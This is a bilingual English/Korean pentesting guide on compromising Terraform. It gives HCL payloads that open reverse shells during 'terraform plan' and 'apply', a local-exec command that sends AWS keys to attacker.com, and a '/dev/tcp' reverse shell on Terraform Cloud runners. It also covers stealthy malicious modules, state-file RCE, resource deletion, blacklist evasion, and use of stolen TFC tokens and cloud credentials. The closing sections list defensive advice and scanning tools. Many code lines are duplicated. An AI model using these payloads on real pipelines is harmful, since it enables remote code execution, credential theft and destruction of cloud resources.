HashiCorp Terraform 커뮤니티는 이미 수천 종류의 리소스와 서비스를 관리하기 위해 **1700개 이상의 providers**를 작성했으며 이 수는 계속 증가하고 있습니다. 모든 공개적으로 이용 가능한 providers [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등 수많은 서비스가 포함됩니다.
The core Terraform workflow consists of three stages:
핵심 Terraform 워크플로우는 세 단계로 구성됩니다:
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
- **Write:** 여러 클라우드 제공자와 서비스를 가로지르는 리소스를 정의합니다. 예를 들어 VPC 네트워크의 가상머신들에 보안 그룹과 로드밸런서를 포함해 애플리케이션을 배포하는 구성을 만들 수 있습니다.
- **Plan:** Terraform은 기존 인프라와 구성에 기초해 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 만듭니다.
- **Apply:** 승인되면 Terraform은 리소스 종속성을 고려해 제안된 작업을 올바른 순서로 수행합니다. 예를 들어 VPC의 속성을 업데이트하고 해당 VPC의 가상머신 수를 변경하면, Terraform은 가상머신을 스케일하기 전에 VPC를 재생성합니다.
![](<../images/image (215).png>)
### Terraform Lab
Just install terraform in your computer.
컴퓨터에 terraform을 설치하면 됩니다.
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
설치 가이드는 [guide]에 있고 terraform을 다운로드하는 가장 좋은 방법은 [best way to download terraform]에 있습니다.
## RCE in Terraform: config file poisoning
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
Terraform은 웹페이지나 네트워크 서비스를 노출하는 플랫폼이 아니므로 열거할 수 있는 방식이 없습니다. 따라서 Terraform을 타깃으로 삼기 위한 유일한 방법은 **terraform 구성 파일을 추가/수정할 수 있는 권한**을 갖거나, **terraform state 파일을 수정할 수 있는 권한**을 갖는 것입니다(아래 챕터 참조).
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
그러나 terraform은 제대로 동작하기 위해 다양한 위치에 대한 **권한이 높은 접근 권한**을 가지므로 타깃으로 삼기에 매우 민감한 구성 요소입니다.
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
공격자가 terraform이 실행되는 시스템을 손상시키는 주요 방법은 결국 구성 파일이 어느 시점에서든 **해석(interpreted)** 될 것이기 때문에 **terraform 구성을 저장하는 리포지토리**를 탈취하는 것입니다.
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
실제로 PR이 생성된 후 자동으로 terraform plan/apply를 실행하는 솔루션들(예: Atlantis)이 존재합니다:
{{#ref}}
atlantis-security.md
{{#endref}}
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
terraform 파일을 탈취할 수 있다면 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 여러 가지 방법이 있습니다.
### Terraform plan
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
Terraform plan은 terraform에서 **가장 많이 사용되는 명령**이며 개발자나 terraform을 사용하는 솔루션들은 이를 항상 호출합니다. 따라서 **가장 쉬운 RCE 방법**은 `terraform plan` 중 임의의 명령을 실행하도록 terraform 구성 파일을 오염시키는 것입니다.
**Using an external provider**
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `external` data source를 사용하면 `plan` 중에 임의의 코드를 실행할 수 있습니다.
terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**커스텀 provider 사용**
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
공격자는 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup)을 [Terraform Registry](https://registry.terraform.io/)에 제출한 다음 feature branch의 Terraform 코드에 추가할 수 있습니다 ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
프로바이더는 `init`에서 다운로드되며 `plan`이 실행될 때 악성 코드를 실행합니다
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
예제는 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)에서 확인할 수 있습니다
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**외부 참조 사용**
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
위에서 언급한 두 옵션은 유용하지만 그다지 stealthy하지 않습니다(두 번째가 더 stealthy하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 이 공격을 더 **stealthier way**로 수행할 수 있습니다:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스 로드**를 사용할 수 있습니다:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
rev shell code는 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)에서 찾을 수 있습니다.
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- 외부 리소스에서 **ref** 기능을 사용해 리포지토리의 브랜치 안에 있는 **terraform rev shell code in a branch**를 숨기세요. 예: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Terraform apply는 모든 변경사항을 적용하기 위해 실행됩니다. 또한 이를 악용해 RCE를 얻기 위해 **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
다음과 같은 페이로드가 `main.tf` 파일의 끝에 위치하도록 하면 됩니다:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
**이전 기법의 권장 사항**을 따르고 이 공격을 **외부 참조를 사용하여 더 은밀하게 수행**하세요.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
다음과 같이 terraform 파일에 항목을 추가하면 `terraform apply`를 실행할 때 **terraform에서 사용되는 비밀 값들이 덤프되도록 할 수 있습니다**:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Abusing Terraform State Files
## Terraform State Files 악용
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
@@ -143,296 +133,272 @@ It is possible to [create a custom provider](https://developer.hashicorp.com/ter
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Then, as soon as `terraform` gets executed, your code will run.
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
There are 2 ways to destroy resources:
리소스를 삭제하는 방법은 2가지가 있습니다:
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
1. **상태 파일(state file)에 무작위 이름의 리소스를 삽입하고 삭제하려는 실제 리소스를 가리키게 하는 방법**
`terraform`이 해당 리소스가 존재하면 안 된다고 판단하면, 지정된 실제 리소스 ID를 따라 해당 리소스를 파괴합니다(지정된 실제 리소스 ID를 따름). 이전 페이지의 예:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
2. **업데이트가 불가능하도록 리소스를 수정해 삭제 후 재생성되게 하기**
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
### 블랙리스트된 프로바이더 교체
만약 `hashicorp/external`이 블랙리스트에 올라 있는 상황이 발생하면, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external provider의 포크를 사용합니다. 직접 포크나 재구현을 게시할 수도 있습니다.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Then you can use `external` as per normal.
그런 다음 평소와 같이 `external`을 사용할 수 있습니다.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
이 시나리오는 Terraform Cloud (TFC) runners speculative plans 동안 악용하여 대상 클라우드 계정으로 피벗합니다.
- Preconditions:
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Discover workspace and VCS settings via the TFC API:
- 개발자 머신에서 Terraform Cloud 토큰을 탈취합니다. CLI는 토큰을 평문으로 `~/.terraform.d/credentials.tfrc.json`에 저장합니다.
- 토큰은 대상 organization/workspace에 접근 권한이 있으며 최소한 `plan` 권한을 가지고 있어야 합니다. VCS-backed workspaces는 CLI에서 `apply`를 차단하지만, 여전히 speculative plans를 허용합니다.
- TFC API를 통해 workspace 및 VCS 설정을 확인합니다:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
- speculative plan 중에 external data source와 Terraform Cloud "cloud" block을 사용하여 VCS-backed workspace를 대상으로 code execution을 트리거합니다:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Example rsync.sh to obtain a reverse shell on the TFC runner:
TFC runner에서 reverse shell을 얻기 위한 예시 rsync.sh:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Run a speculative plan to execute the program on the ephemeral runner:
프로그램을 ephemeral runner에서 실행하기 위한 예비 계획을 수행하세요:
```bash
terraform init
terraform plan
```
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
- runner에서 주입된 cloud credentials을 enumerate하고 exfiltrate합니다. 실행 중 TFC는 provider credentials를 files 및 environment variables를 통해 주입합니다:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Expected files on the runner working directory:
러너 작업 디렉터리에서 예상되는 파일:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- `tfc-google-application-credentials` (Workload Identity Federation JSON 구성)
- `tfc-gcp-token` (단기간 유효한 GCP 액세스 토큰)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- `tfc-aws-shared-config` (web identity/OIDC 역할 전환 구성)
- `tfc-aws-token` (단기간 유효한 토큰; 일부 조직은 정적 키를 사용할 수 있음)
- Use the short-lived credentials out-of-band to bypass VCS gates:
- 단기간 자격 증명을 out-of-band 방식으로 사용하여 VCS 게이트를 우회:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
이러한 자격 증명을 통해 공격자는 네이티브 CLI를 사용해 리소스를 직접 생성/수정/삭제할 수 있으며, VCS를 통해 `apply`를 차단하는 PR 기반 워크플로를 우회할 수 있습니다.
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
- 방어 지침:
- TFC 사용자/팀과 토큰에 최소 권한을 적용하세요. 멤버십을 감사하고 과도한 소유자 권한을 피하세요.
- 가능한 경우 민감한 VCS 기반 워크스페이스에서 `plan` 권한을 제한하세요.
- Sentinel 정책으로 provider/data source 허용 목록을 시행하여 `data "external"` 또는 알려지지 않은 providers를 차단하세요. provider 필터링에 관한 HashiCorp 지침을 참조하세요.
- 정적 클라우드 자격 증명보다 OIDC/WIF를 선호하세요; runners를 민감 자산으로 취급하세요. 추측적 plan 실행 및 예상치 못한 아웃바운드 트래픽(egress)을 모니터링하세요.
- plan 실행 중 `tfc-*` 자격 증명 아티팩트의 유출을 탐지하고 의심스러운 `external` 프로그램 사용에 대해 경고를 생성하세요.
## Compromising Terraform Cloud
## Terraform Cloud 침해
### Using a token
### 토큰 사용
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
**[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** 에서 설명한 것처럼, terraform CLI는 토큰을 평문으로 **`~/.terraform.d/credentials.tfrc.json`**에 저장합니다. 이 토큰을 탈취하면 공격자는 토큰의 범위 내에서 해당 사용자를 가장할 수 있습니다.
이 토큰을 사용하면 다음과 같이 org/workspace 정보를 얻을 수 있습니다:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
그럼 이전 장에서 설명한 것처럼 **`terraform plan`**을 사용해 임의의 코드를 실행할 수 있다.
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
### 클라우드로 빠져나가기
### Escaping to the cloud
만약 runner가 어떤 클라우드 환경에 위치해 있다면, runner에 연결된 principal의 토큰을 획득하여 외부에서 사용할 수 있다.
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- **GCP files (현재 실행 작업 디렉터리에 존재)**
- `tfc-google-application-credentials` — 외부 아이덴티티를 교환하는 방법을 Google에 알려주는 Workload Identity Federation(WIF)용 JSON 구성.
- `tfc-gcp-token` — 위에서 참조된 단기(≈1 hour) GCP 액세스 토큰.
- **AWS files**
- `tfc-aws-shared-config` JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
- `tfc-aws-shared-config` — web identity federation/OIDC role assumption을 위한 JSON (정적 키보다 권장됨).
- `tfc-aws-token` — 단기 토큰, 또는 잘못 구성된 경우 정적 IAM 키일 수 있음.
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
Snyk는 Terraform, CloudFormation, Kubernetes 및 기타 IaC 포맷의 취약점과 잘못된 구성을 탐지하는 포괄적인 Infrastructure as Code (IaC) 스캐닝 솔루션을 제공한다.
- **Features:**
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **기능:**
- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캐닝.
- 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
- 자동 수정 pull requests.
- 상세한 수정 권고.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
**Checkov**는 인프라스트럭처 코드(IaC)에 대한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
이는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), 또는 [OpenTofu](https://opentofu.org/)로 프로비저닝된 클라우드 인프라를 스캔하며 그래프 기반 스캐닝으로 보안 및 컴플라이언스 구성 오류를 탐지합니다.
이는 [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행하며, 이는 오픈 소스 패키지와 이미지에 대한 Common Vulnerabilities and Exposures (CVEs) 검색을 위한 스캔입니다.
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
다음 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`은 terraform에 대한 경량의 보안 및 규정준수 중심 테스트 프레임워크로, infrastructure-as-code에 대해 네거티브 테스트 기능을 제공합니다.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
- **compliance:** 구현된 코드가 보안 표준 및 자체 커스텀 표준을 준수하는지 확인
- **behaviour driven development:** 우리는 거의 모든 것에 대해 BDD를 사용합니다. IaC에는 왜 사용하지 않나요?
- **portable:** `pip`에서 설치하거나 `docker`로 실행하면 됩니다. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** 코드가 배포되기 전에 검증합니다
- **easy to integrate:** 파이프라인(또는 git hooks)에서 실행되어 모든 배포가 검증되도록 할 수 있습니다.
- **segregation of duty:** 테스트를 별도 리포지토리에 보관하여 다른 팀이 책임지도록 할 수 있습니다.
> [!NOTE]
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
> 안타깝게도 코드가 당신이 접근할 수 없는 일부 providers를 사용하고 있다면 `terraform plan`을 수행할 수 없고 이 도구를 실행할 수 없습니다.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 terraform 코드에 대한 정적 분석을 통해 잠재적인 구성 오류를 찾아냅니다.
- ☁️ 모든 주요(및 일부 마이너) 클라우드 공급자에 대한 구성 오류를 검사합니다
- ⛔ 수백 개의 내장 규칙
- 🪆 모듈(로컬 및 원격)을 스캔합니다
- HCL 식과 리터럴 값을 평가합니다
- ↪️ Terraform 함수(예: `concat()`)를 평가합니다
- 🔗 Terraform 리소스 간의 관계를 평가합니다
- 🧰 Terraform CDK와 호환됩니다
- 🙅 사용자 정의 Rego 정책을 적용(및 보완)합니다
- 📃 여러 출력 형식을 지원합니다: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ CLI 플래그 및/또는 설정 파일을 통해 구성할 수 있습니다
- ⚡ 매우 빠르며 대규모 리포지토리를 빠르게 스캔할 수 있습니다
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
- infrastructure as code의 구성 오류를 원활하게 스캔합니다.
- 프로비저닝된 cloud infrastructure를 모니터링하여 posture drift를 초래하는 구성 변경을 감지하고, 안전한 상태로 되돌릴 수 있게 합니다.
- 보안 취약점 및 규정 준수 위반을 탐지합니다.
- cloud native infrastructure를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD에 통합할 수 있는 유연성을 제공합니다.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
Checkmarx의 **KICS**로 개발 사이클 초기에 infrastructure-as-code의 보안 취약점, 규정 준수 문제 및 인프라 구성 오류를 찾아내세요.
**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자이며, 오픈 소스이고 모든 cloud native 프로젝트에 필수적입니다.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
